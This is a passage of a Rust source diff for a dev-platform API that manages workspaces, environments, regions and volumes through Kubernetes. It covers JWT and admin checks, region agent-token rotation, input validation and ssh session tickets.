client: kube::Client) -> Self { + self.kube = Some(client); + self + } + + pub fn with_keys(mut self, keys: Arc) -> Self { + self.keys = Some(keys); + self + } + + pub fn with_upstream(mut self, upstream: Arc) -> Self { + self.upstream = Some(upstream); + self + } +} + +async fn teams_for(s: &ApiState, caller: &str) -> Vec { + match &s.membership { + Some(m) => m.teams_for(caller).await, + None => Vec::new(), + } +} + +/// `owner` is the environment's actual owner field (a username or a team slug). Personal envs +/// (`owner == caller`) always pass; a team env passes when the caller is a member. +async fn may_act_on(s: &ApiState, caller: &str, owner: &str) -> bool { + caller == owner || teams_for(s, caller).await.iter().any(|t| t == owner) +} + +pub fn router(state: Arc) -> Router { + Router::new() + .route("/v1/regions", post(create_region).get(list_regions)) + .route("/v1/regions/{id}/rotate-token", post(rotate_region_token)) + .route("/v1/workspaces", post(create_ws).get(list_ws)) + .route("/v1/workspaces/restore", post(restore_ws)) + .route("/v1/workspaces/{id}", get(get_ws).delete(delete_ws).patch(patch_ws_packages)) + .route("/v1/workspaces/{id}/clone", post(clone_ws)) + .route("/v1/workspaces/{id}/push", post(push_ws)) + .route("/v1/workspaces/{id}/start", post(start_ws)) + .route("/v1/workspaces/{id}/stop", post(stop_ws)) + .route("/v1/workspaces/{id}/ssh-session", post(ssh_session)) + .route("/v1/environments", post(create_env).get(list_env)) + // Before `/{id}`: `restore` is a verb, not an environment id. + .route("/v1/environments/restore", post(restore_env)) + .route("/v1/environments/{id}", get(get_env).delete(delete_env)) + .route("/v1/environments/{id}/start", post(start_env)) + .route("/v1/environments/{id}/stop", post(stop_env)) + .route("/v1/environments/{id}/clone", post(clone_env)) + .route("/v1/environments/{id}/push", post(push_env)) + .route("/v1/environments/{id}/restore-in-place", post(restore_env_in_place)) + .route("/v1/volumes", get(list_volumes)) + .route("/v1/volumes/{name}/history", get(volume_history)) + .route("/v1/volumes/{name}", axum::routing::delete(delete_volume)) + .route( + "/v1/volumes/{name}/snapshots/{snapshot}", + axum::routing::delete(delete_snapshot), + ) + .route("/v1/volumes/{name}/refs", get(volume_refs)) + .with_state(state) +} + +fn rid(prefix: &str) -> String { + use rand::RngCore; + let mut b = [0u8; 8]; + rand::thread_rng().fill_bytes(&mut b); + format!("{prefix}-{}", rustic_git_core::hex(&b)) +} + +/// Header carrying the per-region agent token, mirroring `rustic_git_core::peer::PEER_HEADER`'s +/// naming and constant-time-compare style. +pub const WS_AGENT_HEADER: &str = "x-rustic-git-ws-agent-token"; + +fn random_token() -> String { + use rand::RngCore; + let mut b = [0u8; 24]; + rand::thread_rng().fill_bytes(&mut b); + rustic_git_core::hex(&b) +} + +/// The owner identity for everything workspace/environment/volume-shaped is the USERNAME, +/// not the email: volume paths (`vol/{owner}/{name}`) go through the same owner-name +/// validation as git repos, and an email's `@`/`.` can never route there. A token without a +/// chosen username cannot own workspaces yet — same rule the web app enforces for repos. +async fn caller(state: &ApiState, headers: &axum::http::HeaderMap) -> Result { + let tok = bearer_token(headers).ok_or_else(unauthorized)?; + let (c, jti) = state.jwt.verify_any_user(tok.trim()).map_err(|_| unauthorized())?; + // Only a CLI token carries a `jti`, and only a CLI token is revocable: a session's lifetime + // IS its expiry. Without a directory to ask, a CLI token authenticates nothing here. + // ponytail: one directory read per CLI request, no cache — same tradeoff `teams_for` takes; + // add a short-TTL cache if it shows up hot, remembering it delays a revocation by its TTL. + if let Some(jti) = jti { + match &state.cli_tokens { + Some(check) if check.is_live(&jti).await => {} + _ => return Err(unauthorized()), + } + } + c.username.filter(|u| !u.is_empty()).ok_or_else(|| { + (StatusCode::FORBIDDEN, "pick a username before using workspaces").into_response() + }) +} + +fn unauthorized() -> Response { + (StatusCode::UNAUTHORIZED, "missing or invalid token").into_response() +} + +fn require_admin(state: &ApiState, email: &str) -> Result<(), Response> { + if state.admins.contains(email) { + Ok(()) + } else { + Err((StatusCode::FORBIDDEN, "admin only").into_response()) + } +} + +fn store_err(e: crate::store::StoreErr) -> Response { + use crate::store::StoreErr::*; + match e { + NotFound => (StatusCode::NOT_FOUND, "not found").into_response(), + Conflict | CasFailed => (StatusCode::CONFLICT, "conflict, retry").into_response(), + Other(msg) => (StatusCode::INTERNAL_SERVER_ERROR, msg).into_response(), + } +} + +// ── regions ────────────────────────────────────────────────────────────── + +#[derive(serde::Deserialize)] +struct NewRegion { + id: String, + name: String, + storage_account: String, + blob_container: String, + /// `active` or `inactive`. Re-registering a region is the only way to retire one — there is + /// no delete — and a retired region must stop being offered to new workspaces while its + /// existing records stay readable. + #[serde(default = "active_status")] + status: String, +} + +fn active_status() -> String { + "active".into() +} + +/// Mint a fresh agent token for an existing region, returning it once. +/// +/// `create_region` deliberately PRESERVES an existing token, so re-registering a region cannot +/// rotate it — which left a leaked agent token with no way to be revoked short of editing the +/// store by hand. That is the gap this closes: a token that cannot be rotated is a token that +/// stays valid forever after it leaks. +/// +/// The new token is returned in the response and nowhere else, the same contract `create_region` +/// has for a first mint. Every agent in the region must be updated before or shortly after this +/// call — the old token stops working the moment it lands. +async fn rotate_region_token( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let tok = bearer_token(&headers).ok_or_else(unauthorized)?; + let email = s.jwt.verify(tok.trim()).map(|c| c.sub).map_err(|_| unauthorized())?; + require_admin(&s, &email)?; + + let mut r = s + .store + .regions() + .await + .map_err(store_err)? + .into_iter() + .find(|r| r.id == id) + .ok_or_else(not_found)?; + r.agent_token = random_token(); + s.store.put_region(&r).await.map_err(store_err)?; + Ok((StatusCode::OK, Json(r)).into_response()) +} + +async fn create_region( + State(s): State>, + headers: axum::http::HeaderMap, + Json(body): Json, +) -> Result { + // Admin gating keys on the EMAIL (the allowlist's identity), not the username `caller` + // resolves — an admin needs no username to register regions. + let tok = bearer_token(&headers).ok_or_else(unauthorized)?; + let email = s.jwt.verify(tok.trim()).map(|c| c.sub).map_err(|_| unauthorized())?; + require_admin(&s, &email)?; + // Existing region re-registered without a token yet: generate and persist one now rather + // than leaving agents unable to authenticate. Returned once, here, on the create response — + // callers must save it (same shape as any bearer secret minted on creation). + let agent_token = + s.store.regions().await.map_err(store_err)?.into_iter().find(|r| r.id == body.id).and_then(|r| { + if r.agent_token.is_empty() { + None + } else { + Some(r.agent_token) + } + }); + let r = Region { + id: body.id, + name: body.name, + storage_account: body.storage_account, + blob_container: body.blob_container, + status: if body.status == "inactive" { "inactive".into() } else { "active".into() }, + agent_token: agent_token.unwrap_or_else(random_token), + }; + s.store.put_region(&r).await.map_err(store_err)?; + Ok((StatusCode::CREATED, Json(r)).into_response()) +} + +async fn list_regions( + State(s): State>, + headers: axum::http::HeaderMap, +) -> Result { + caller(&s, &headers).await?; + // The token is a secret, returned once on creation only — never echoed back on list. + let mut regions = s.store.regions().await.map_err(store_err)?; + for r in &mut regions { + r.agent_token.clear(); + } + Ok(Json(regions).into_response()) +} + +// ── the cluster ────────────────────────────────────────────────────────── + +fn kube(s: &ApiState) -> Result<&kube::Client, Response> { + s.kube.as_ref().ok_or_else(|| { + (StatusCode::SERVICE_UNAVAILABLE, "kubernetes not configured on this node").into_response() + }) +} + +/// An API-server error keeps its own status where the caller can act on it (404 is "no such +/// workspace", 409 is "retry"); anything else is ours, not the caller's. +fn kube_err(e: kube::Error) -> Response { + match &e { + kube::Error::Api(ae) if ae.code == 404 => not_found(), + kube::Error::Api(ae) if ae.code == 409 => (StatusCode::CONFLICT, "conflict, retry").into_response(), + _ => (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()).into_response(), + } +} + +pub const OWNER_LABEL: &str = "rustic-git.io/owner"; +pub const KIND_LABEL: &str = "rustic-git.io/kind"; +/// The team a workspace was made in; empty for personal. A listing filter, like the other two — +/// `spec.team` is the truth and the controller re-stamps this from it. +pub const TEAM_LABEL: &str = "rustic-git.io/team"; + +/// A label selector is the list filter, not a field selector: `metadata.labels` is indexed for +/// selectors by every API server, while an arbitrary spec field needs a `selectableFields` entry — +/// and adding one per query axis is how a CRD becomes a database. +fn owned_by(owner: &str) -> ListParams { + ListParams::default().labels(&format!("{OWNER_LABEL}={owner}")) +} + +/// One person's workspaces in one team (empty = personal). Both labels, so a team page never +/// shows the personal ones and the personal page never shows a team's. +fn owned_in(owner: &str, team: &str) -> ListParams { + ListParams::default().labels(&format!("{OWNER_LABEL}={owner},{TEAM_LABEL}={team}")) +} + +/// `status.phase` is the state, and an object the controller has not seen yet has no status at +/// all — `creating` rather than a `null` the web app's enum cannot parse. +fn phase(p: Option<&str>, default: T) -> T { + p.and_then(|p| serde_json::from_value(serde_json::json!(p)).ok()).unwrap_or(default) +} + +/// The child `Volume`'s name. STATUS first: the reconciler creates the Volume and then reports it, +/// so that is the fact. `spec.volumeRef` is the deprecated release-1 fallback for an object created +/// before placement moved into status — Task 11 drops it, and this helper is the one place to edit. +fn ws_volume(w: &crd::Workspace) -> Option<&str> { + w.status + .as_ref() + .and_then(|st| st.volume_ref.as_deref()) + .or(w.spec.volume_ref.as_deref()) + .filter(|v| !v.is_empty()) +} + +/// `env_doc`'s half of the same rule; see `ws_volume`. +fn env_volume(e: &crd::Environment) -> Option<&str> { + e.status + .as_ref() + .and_then(|st| st.volume_ref.as_deref()) + .or(e.spec.volume_ref.as_deref()) + .filter(|v| !v.is_empty()) +} + +/// Every volume of `owner` that has ever landed a snapshot. +/// +/// This replaces `Volume.status.lastPush`, and it is a QUERY rather than a field because a field +/// would need a second controller writing the Volume's status — `patch_status` force-applies under +/// one field manager, so the Volume reconciler's next pass would prune it (server-side apply +/// removes fields a manager previously owned and no longer sets). +/// +/// ONE label list per REQUEST, passed down to every row: one lookup per row turns a listing into an +/// N+1 against the API server. +async fn pushed_volumes(c: &kube::Client, owner: &str) -> Result, Response> { + let api: Api = Api::all(c.clone()); + Ok(api + .list(&owned_by(owner)) + .await + .map_err(kube_err)? + .items + .into_iter() + .filter(|r| r.status.as_ref().is_some_and(|st| st.phase == crd::Phase::Done)) + .map(|r| r.spec.volume) + .collect()) +} + +fn ws_doc(w: &crd::Workspace, pushed: &HashSet) -> Workspace { + let id = w.name_any(); + let st = w.status.as_ref(); + Workspace { + owner: w.spec.owner.clone(), + team: w.spec.team.clone(), + name: w.spec.name.clone(), + region: w.spec.region.clone(), + state: phase(st.map(|s| s.phase.as_str()), WsState::Creating), + image: w.spec.image.clone(), + // `None` until a node claims it — the web renders that as "not placed yet" rather than as + // a node that was never true. + placement: st.map(|s| s.node_name.clone()).filter(|n| !n.is_empty()), + volume: ws_volume(w) + .filter(|v| pushed.contains(*v)) + .map(|_| format!("vol/{}/{id}", w.spec.owner)), + quota_gb: w.spec.storage.as_ref().map(|s| s.quota_gb).unwrap_or(0), + // Free-form live state was a job-era field the agent wrote back into the doc; the pod and + // its status are the live state now. Kept in the body so the web app's parse is unchanged. + live_state: serde_json::Value::Null, + packages: w.spec.packages.clone(), + base_packages: st.and_then(|s| s.packages.as_ref()).map(|p| p.base.clone()).unwrap_or_default(), + // Filled in only once the pod has reported a host key: the web's ssh snippet is the same + // pair the CLI gets from a mint, so the page needs no token to show the command. + ssh: st.and_then(|s| s.ssh_host_key.clone()).map(|host_key| SshDoc { + gateway: gateway_url(&w.spec.region, &id), + host_key, + }), + packages_status: st.and_then(|s| { + s.conditions.iter().find(|c| c.type_ == crd::PACKAGES_READY).map(|c| PackagesDoc { + ready: c.status == "True", + reason: c.reason.clone(), + message: c.message.clone(), + }) + }), + id, + } +} + +fn env_doc(e: &crd::Environment, pushed: &HashSet) -> Environment { + let id = e.name_any(); + let st = e.status.as_ref(); + Environment { + owner: e.spec.owner.clone(), + name: e.spec.name.clone(), + region: e.spec.region.clone(), + state: phase(st.map(|s| s.phase.as_str()), EnvState::Creating), + placement: st.map(|s| s.node_name.clone()).filter(|n| !n.is_empty()), + volume: env_volume(e) + .filter(|v| pushed.contains(*v)) + .map(|_| format!("vol/{}/{id}", e.spec.owner)), + services: e.spec.services.clone(), + // Only `get_env` fills this in: it is a read of the CHILD volume's status, and a listing + // that did it per row would be an N+1 against the API server for a field one page shows. + restored_to: None, + restore_requested_at: None, + // Straight off the condition the reconciler writes, so the page shows the restore while it + // is happening rather than a state that looks like an ordinary restart. + restoring: st + .and_then(|s| s.conditions.iter().find(|c| c.type_ == "Restoring" && c.status == "True")) + .map(|c| c.reason.clone()), + id, + } +} + +/// Flip `spec.desiredState`. A merge patch, not an apply: this touches one field and must not +/// claim ownership of the rest of a spec the caller never sent. +async fn set_desired(c: &kube::Client, id: &str, want: DesiredState) -> Result<(), Response> +where + K: kube::Resource + + Clone + + serde::de::DeserializeOwned + + std::fmt::Debug, +{ + let api: Api = Api::all(c.clone()); + let patch = serde_json::json!({"spec": {"desiredState": want}}); + api.patch(id, &PatchParams::default(), &Patch::Merge(&patch)).await.map_err(kube_err)?; + Ok(()) +} + +// ── workspaces ─────────────────────────────────────────────────────────── + +#[derive(serde::Deserialize)] +struct NewWorkspace { + /// The team to make it in. Absent, or the caller's own handle, means personal. + #[serde(default)] + team: Option, + name: String, + region: String, + quota_gb: u64, + #[serde(default = "default_ws_image")] + image: String, + /// Seed the workspace from a PLATFORM repository, as `owner/name`. Not a URL, deliberately: + /// a URL here would be an egress and SSRF primitive available to anyone who can create a + /// workspace, and nothing off this platform is in the trust boundary anyway. + #[serde(default)] + repo: Option, + /// The branch to start from. Required with `repo` — "whatever the default is" is a different + /// workspace depending on when it was created. + #[serde(default)] + branch: Option, + /// nixpkgs attribute names to install into the workspace's profile. + #[serde(default)] + packages: Vec, +} + +/// 422, not 400: the body parsed fine, one of its values is unusable — and the web shows this +/// string to the caller who typed the name. +fn bad_packages(e: crate::packages::PackageError) -> Response { + (StatusCode::UNPROCESSABLE_ENTITY, Json(serde_json::json!({"error": e.to_string()}))).into_response() +} + +/// The one gate on a workspace or environment name, on every route that accepts one. The name ends up verbatim +/// in generated ssh config on a TEAMMATE's machine (`model::valid_ws_name`), so it is checked +/// where it enters the system rather than at each renderer — the renderers refuse too, but a +/// stored bad name would already have made every listing of that team unusable. +fn check_ws_name(name: &str) -> Result<(), Response> { + if valid_ws_name(name) { + return Ok(()); + } + Err(( + StatusCode::UNPROCESSABLE_ENTITY, + Json(serde_json::json!({ + "error": "name must be 1-63 characters of letters, digits, '.', '_' or '-'" + })), + ) + .into_response()) +} + +/// A region is an id the caller typed, and it becomes the OwnerBinding's name and the gateway +/// hostname. Unknown: a workspace no controller ever claims. Chosen: a binding name squatted in +/// someone else's region. Only what an admin registered and left active gets through. +async fn check_region(s: &ApiState, region: &str) -> Result<(), Response> { + let known = s.store.regions().await.map_err(store_err)?; + if known.iter().any(|r| r.id == region && r.status == "active") { + return Ok(()); + } + Err((StatusCode::UNPROCESSABLE_ENTITY, Json(serde_json::json!({"error": "unknown region"}))).into_response()) +} + +/// `0` is a `0Gi` PVC nothing can start on, and the upper end is a local PV the pool node cannot +/// back. Clamped rather than refused: the web sends a fixed default, and a client that asks for +/// more than the ceiling gets the ceiling. +/// ponytail: one global ceiling; make it per-region node capacity if a region ever has more. +fn clamp_quota(gb: u64) -> u64 { + gb.clamp(1, 500) +} + +async fn create_ws( + State(s): State>, + headers: axum::http::HeaderMap, + Json(body): Json, +) -> Result { + let owner = caller(&s, &headers).await?; + let c = kube(&s)?; + check_ws_name(&body.name)?; + check_region(&s, &body.region).await?; + let team = match body.team.as_deref().map(str::trim).filter(|t| !t.is_empty() && *t != owner) { + None => String::new(), + // 404, not 403: whether a team exists is not a non-member's to learn, same as every + // other owner-scoped route. + Some(t) if may_act_on(&s, &owner, t).await => t.to_lowercase(), + Some(_) => return Err((StatusCode::NOT_FOUND, "no such team").into_response()), + }; + crate::packages::validate_list(&body.packages).map_err(bad_packages)?; + let id = rid("ws"); + let source = match (&body.repo, &body.branch) { + (None, _) => None, + (Some(_), None) => { + return Err((StatusCode::BAD_REQUEST, "branch is required with repo").into_response()) + } + (Some(repo), Some(branch)) => { + // `owner/name`, checked here so a bad value is a 400 rather than a workspace that + // fails later. `k8s::git_init_container` re-checks it, and that is the check that + // matters: it is the last point before the value becomes an ssh argv, and it also + // covers a Volume written by any path that is not this handler. + let ok = repo + .split_once('/') + .is_some_and(|(o, n)| rustic_git_storage::store::valid_owner(o) + && rustic_git_storage::store::valid_segment(n)); + if !ok { + return Err((StatusCode::BAD_REQUEST, "repo must be owner/name").into_response()); + } + Some(crd::VolumeSource::GitRepo { + repo: repo.clone(), + branch: branch.clone(), + }) + } + }; + // ONE object. Placement and the child `Volume` are the controllers' — the node this lands on + // is a fact this process has no way to know yet, and a wish about a fact is how the two ever + // disagreed about where the data is (audit H1). + let w = create_workspace( + c, + &id, + crd::WorkspaceSpec { + owner: owner.clone(), + team: team.clone(), + name: body.name, + region: body.region, + image: body.image, + storage: Some(crd::WorkspaceStorage { quota_gb: clamp_quota(body.quota_gb), source }), + desired_state: DesiredState::Running, + restore: None, + resources: Default::default(), + node_name: None, + volume_ref: None, + packages: body.packages, + }, + ) + .await?; + install_user_key_after_placed(&s, c, &owner, &team, &id).await; + Ok((StatusCode::ACCEPTED, Json(ws_doc(&w, &HashSet::new()))).into_response()) +} + +/// The one place a `Workspace` is written. Labels are a VIEW of `spec.owner`/`spec.team`, stamped +/// here so listings are indexed label selectors rather than scans. +async fn create_workspace(c: &kube::Client, id: &str, spec: crd::WorkspaceSpec) -> Result { + let mut l = labels(&spec.owner, "workspace"); + l.insert(TEAM_LABEL.to_string(), spec.team.clone()); + let mut w = crd::Workspace::new(id, spec); + w.metadata.labels = Some(l); + let api: Api = Api::all(c.clone()); + api.create(&PostParams::default(), &w).await.map_err(kube_err) +} + +/// Put the owner's platform key in their workspace namespace, once a node has taken the workspace. +/// +/// The namespace is the CONTROLLER's to make, so on a first workspace it does not exist at the +/// moment of the create. Waiting for the `Placed` condition — not for the namespace — is the +/// cheapest signal that a node has claimed the object and its OwnerBinding reconciler is running. +/// +/// Best effort with a 5 s ceiling, because the key install is load-bearing but not worth failing a +/// create over: `list_ws` re-installs it when the Secret is absent, and that retry is what closes +/// the first-workspace-without-a-key gap for good. +async fn install_user_key_after_placed(s: &ApiState, c: &kube::Client, owner: &str, team: &str, id: &str) { + // Nothing to install and nothing to wait for. + if s.keys.is_none() { + return; + } + let api: Api = Api::all(c.clone()); + for _ in 0..10 { + if let Ok(Some(w)) = api.get_opt(id).await { + if w.status.is_some_and(|st| { + st.conditions.iter().any(|cd| cd.type_ == "Placed" && cd.status == "True") + }) { + install_user_key(s, c, owner, team).await; + return; + } + } + tokio::time::sleep(std::time::Duration::from_millis(500)).await; + } + tracing::info!(%owner, workspace = %id, "not placed within 5s; the key install is left to the next list"); +} + +/// Put the owner's platform key in their workspace namespace, if there is one to put. +/// +/// Best effort on purpose, and not a step the request waits on succeeding: the namespace is the +/// CONTROLLER's to create, so on a first workspace it very likely does not exist yet. The pod's +/// mount is optional (`k8s::user_key_volume`), so a key that lands on the next create — or never — +/// costs the workspace its git identity, not its existence. +/// ponytail: no retry, so a user's first workspace has no key until they make a second one; move +/// this to the controller if that shows up as a complaint. +async fn install_user_key(s: &ApiState, c: &kube::Client, owner: &str, team: &str) { + write_user_key(s, c, &crd::ws_namespace(owner, team), owner).await; +} + +/// Rewrite the owner's key Secret in EVERY workspace namespace they have — what an ssh key add or +/// remove has to do for the change to reach a running workspace. The namespaces are found by the +/// owner label rather than by enumerating teams: the label is what the controller stamps on the +/// namespace it creates, so a team the api tier has never heard of is still covered. +pub async fn refresh_user_keys(s: &ApiState, owner: &str) { + let Some(c) = s.kube.as_ref() else { return }; + let api: Api = Api::all(c.clone()); + let sel = format!("{}={owner},{}=workspace", crate::k8s::OWNER_LABEL, crate::k8s::KIND_LABEL); + let list = match api.list(&ListParams::default().labels(&sel)).await { + Ok(l) => l, + Err(e) => { + tracing::warn!(%owner, error = ?e, "could not list workspace namespaces to refresh keys"); + return; + } + }; + let mine = owners_namespaces(s, owner).await; + for ns in list.items.iter().map(|n| n.name_any()) { + if !mine.contains(&ns) { + tracing::warn!(%owner, namespace = %ns, "namespace carries the owner label but is not theirs by name"); + continue; + } + write_user_key(s, c, &ns, owner).await; + } +} + +/// Every namespace name the platform would derive for this owner: their personal one, plus one +/// per team they are in. +/// +/// The label is a VIEW and never authority (CLAUDE.md) — the NAME is what says whose namespace +/// this is, so it is checked by RECOMPUTING it rather than by picking the owner back out of the +/// string. `crd::ws_namespace` hashes any name over 63 characters into a DNS label, which no +/// prefix/suffix test can invert: the earlier `ends_with("-{owner}")` heuristic skipped exactly +/// those, so an ssh key add never reached a workspace in a long-named team. +async fn owners_namespaces(s: &ApiState, owner: &str) -> HashSet { + let mut out = HashSet::from([crd::ws_namespace(owner, "")]); + out.extend(teams_for(s, owner).await.iter().map(|t| crd::ws_namespace(owner, t))); + out +} + +async fn write_user_key(s: &ApiState, c: &kube::Client, ns: &str, owner: &str) { + let Some(store) = &s.keys else { return }; + let private = match store.user_key(owner).await { + Ok(Some(p)) => p, + Ok(None) => return, // never generated one; /v1/platform-key makes it on first read + Err(e) => { + tracing::warn!(%owner, error = ?e, "could not read the platform key"); + return; + } + }; + let api: Api = Api::namespaced(c.clone(), ns); + // A failed lookup writes NOTHING rather than an empty file: an empty `authorized_keys` locks + // the owner out of a workspace they can otherwise reach, and the next call rewrites it anyway. + // Unwired (dev, no directory) writes NOTHING for the same reason a failed lookup does: an + // empty `authorized_keys` is not "no keys yet", it is the owner locked out of their workspace. + let Some(lookup) = &s.authorized_keys else { return }; + let Some(material) = lookup.for_owner(owner).await else { + tracing::warn!(%owner, "could not read the owner's ssh keys; leaving the secret alone"); + return; + }; + let secret = crate::k8s::user_key_secret(owner, ns, &private, &material); + if let Err(e) = api + .patch( + crate::k8s::USER_KEY_SECRET, + &kube::api::PatchParams::apply("rustic-git-api").force(), + &kube::api::Patch::Apply(&secret), + ) + .await + { + tracing::warn!(%owner, error = ?e, "could not install the platform key in the namespace"); + } +} + +async fn list_ws( + State(s): State>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Result { + let owner = caller(&s, &headers).await?; + let c = kube(&s)?; + // `?team=` scopes the list to the caller's workspaces IN that team; absent means personal. + // Membership is checked so the answer for a team the caller is not in is 404, not an empty + // list that says the team exists. + let team = match q.get("team").map(|t| t.trim()).filter(|t| !t.is_empty() && *t != owner) { + None => String::new(), + Some(t) if may_act_on(&s, &owner, t).await => t.to_lowercase(), + Some(_) => return Err((StatusCode::NOT_FOUND, "no such team").into_response()), + }; + // No "filter out the deleted ones": a deleted object is gone from the API server. + let api: Api = Api::all(c.clone()); + let items = api.list(&owned_in(&owner, &team)).await.map_err(kube_err)?.items; + let pushed = pushed_volumes(c, &owner).await?; + let list: Vec<_> = items.iter().map(|w| ws_doc(w, &pushed)).collect(); + // The retry the create's 5 s ceiling defers to: cheap, idempotent, and the only place a user + // whose very first workspace outran its namespace is ever seen again. Seeded pods REQUIRE the + // key mount, so "it lands next time" is not good enough on its own. + if !items.is_empty() && s.keys.is_some() { + let secrets: Api = + Api::namespaced(c.clone(), &crd::ws_namespace(&owner, &team)); + if matches!(secrets.get_opt(crate::k8s::USER_KEY_SECRET).await, Ok(None)) { + install_user_key(&s, c, &owner, &team).await; + } + } + Ok(Json(list).into_response()) +} + +/// Workspaces are strictly personal — no team ownership — so ownership is a field comparison, and +/// someone else's workspace is a 404, never a 403. +async fn my_ws(s: &ApiState, owner: &str, id: &str) -> Result { + let api: Api = Api::all(kube(s)?.clone()); + let w = api.get_opt(id).await.map_err(kube_err)?.ok_or_else(not_found)?; + if w.spec.owner != owner { + return Err(not_found()); + } + Ok(w) +} + +async fn get_ws( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let owner = caller(&s, &headers).await?; + let w = my_ws(&s, &owner, &id).await?; + let pushed = pushed_volumes(kube(&s)?, &owner).await?; + Ok(Json(ws_doc(&w, &pushed)).into_response()) +} + +/// One apex for every region's ssh gateway; the per-region name (`ws-{region}.`) is a proxied +/// Cloudflare record pointing at that region's nodes, created when the region is stood up. A const +/// rather than config because a second domain would mean a second origin certificate, not a new +/// value to set. +const GATEWAY_DOMAIN: &str = "khost.dev"; + +fn gateway_url(region: &str, id: &str) -> String { + format!("wss://ws-{region}.{GATEWAY_DOMAIN}/tunnel/{id}") +} + +/// A connect ticket for `kl ssh`: a short-lived token naming this workspace, where to take it, and +/// the host key to pin. Nothing is stored — the token is signed, and the gateway verifies it. +async fn ssh_session( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let owner = caller(&s, &headers).await?; + let w = my_ws(&s, &owner, &id).await?; + let st = w.status.as_ref(); + let phase = st.map(|st| st.phase.as_str()).unwrap_or("creating"); + if phase != "ready" { + return Err(( + StatusCode::CONFLICT, + Json(serde_json::json!({"error": format!("workspace is {phase}")})), + ) + .into_response()); + } + // No host key means no way to pin the connection, and a TOFU prompt for a key the platform is + // about to know is exactly what this design refuses. + let Some(host_key) = st.and_then(|st| st.ssh_host_key.clone()) else { + return Err((StatusCode::SERVICE_UNAVAILABLE, "the workspace has not reported its host key yet") + .into_response()); + }; + let (token, claims) = s.jwt.mint_ssh_session(&owner, &id, &w.spec.region).map_err(|e| { + tracing::error!(error = %e, "mint ssh session"); + (StatusCode::INTERNAL_SERVER_ERROR, "could not mint a session").into_response() + })?; + let expires_at = chrono::DateTime::from_timestamp(claims.exp as i64, 0) + .unwrap_or_default() + .to_rfc3339_opts(chrono::SecondsFormat::Secs, true); + Ok(( + StatusCode::CREATED, + Json(serde_json::json!({ + "token": token, + "gateway": gateway_url(&w.spec.region, &id), + "expires_at": expires_at, + "host_key": host_key, + })), + ) + .into_response()) +} + +fn not_found() -> Response { + (StatusCode::NOT_FOUND, "not found").into_response() +} + +/// ONE delete. The "Workspace first, then Volume" ordering became the API server's job the moment +/// the Volume got an ownerReference: garbage collection follows it, and the Volume's own finalizer +/// still holds the reclaim until the subvolume is gone. +async fn delete_ws( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let owner = caller(&s, &headers).await?; + let w = my_ws(&s, &owner, &id).await?; + let c = kube(&s)?; + let ws: Api = Api::all(c.clone()); + ws.delete(&id, &DeleteParams::default()).await.map_err(kube_err)?; + let mut doc = ws_doc(&w, &HashSet::new()); + doc.state = WsState::Deleted; + Ok((StatusCode::ACCEPTED, Json(doc)).into_response()) +} + +async fn start_ws( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let owner = caller(&s, &headers).await?; + my_ws(&s, &owner, &id).await?; + set_desired::(kube(&s)?, &id, DesiredState::Running).await?; + Ok(StatusCode::ACCEPTED.into_response()) +} + +async fn stop_ws( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let owner = caller(&s, &headers).await?; + my_ws(&s, &owner, &id).await?; + set_desired::(kube(&s)?, &id, DesiredState::Stopped).await?; + Ok(StatusCode::ACCEPTED.into_response()) +} + +#[derive(serde::Deserialize)] +struct PackagesBody { + packages: Vec, +} + +/// Change the declared package list. A merge patch on `spec.packages` alone, for the same reason +/// `set_desired` is one: this handler was sent one field and must not claim ownership of a spec +/// the caller never wrote. +async fn patch_ws_packages( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, + Json(body): Json, +) -> Result { + let owner = caller(&s, &headers).await?; + my_ws(&s, &owner, &id).await?; + crate::packages::validate_list(&body.packages).map_err(bad_packages)?; + let api: Api = Api::all(kube(&s)?.clone()); + let patch = serde_json::json!({"spec": {"packages": body.packages}}); + let w = api + .patch(&id, &PatchParams::default(), &Patch::Merge(&patch)) + .await + .map_err(kube_err)?; + Ok(Json(ws_doc(&w, &HashSet::new())).into_response()) +} + +#[derive(serde::Deserialize)] +struct CloneBody { + name: String, +} + +/// The one local-copy route. +/// +/// It no longer copies a node from the source: locality is the CLAIM's job now, through the +/// source's `status.compatibleNodes`. Copying a node here would be this process authoring a fact it +/// does not own, and it would go stale the moment node retirement moved the source. +async fn clone_ws( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, + Json(body): Json, +) -> Result { + let owner = caller(&s, &headers).await?; + check_ws_name(&body.name)?; + let src = my_ws(&s, &owner, &id).await?; + let c = kube(&s)?; + let new_id = rid("ws"); + let volume = ws_volume(&src).ok_or_else(not_ready)?.to_string(); + let quota = storage_quota(c, &src.spec.storage, &volume).await; + let w = create_workspace( + c, + &new_id, + crd::WorkspaceSpec { + owner, + // A clone lives where its source lives: same team, same namespace. + team: src.spec.team.clone(), + name: body.name, + region: src.spec.region.clone(), + image: src.spec.image.clone(), + storage: Some(crd::WorkspaceStorage { + quota_gb: quota, + source: Some(VolumeSource::CloneOf { volume }), + }), + desired_state: DesiredState::Running, + restore: None, + resources: Default::default(), + node_name: None, + volume_ref: None, + packages: src.spec.packages.clone(), + }, + ) + .await?; + Ok((StatusCode::ACCEPTED, Json(ws_doc(&w, &HashSet::new()))).into_response()) +} + +/// What a copy of `volume` should be sized at. +/// +/// A release-1 object created before `spec.storage` existed carries no quota, and 0 is NOT a +/// "controller default" — `k8s::local_pv`/`claim` format it straight into a `0Gi` PV and PVC. The +/// quota of a legacy source lives on its Volume, which is the object the controller sizes the disk +/// from, so read it there rather than inventing a number. +const FALLBACK_QUOTA_GB: u64 = 20; +async fn storage_quota(c: &kube::Client, storage: &Option, volume: &str) -> u64 { + if let Some(st) = storage { + return st.quota_gb; + } + let vols: Api = Api::all(c.clone()); + // Unreadable Volume: a copy sized at the standard quota beats one sized at zero, which cannot + // be started at all. + match vols.get_opt(volume).await { + Ok(Some(v)) if v.spec.quota_gb > 0 => v.spec.quota_gb, + _ => FALLBACK_QUOTA_GB, + } +} + +/// A workspace whose `Volume` the controller has not reported yet: 409, not a 500 and not a 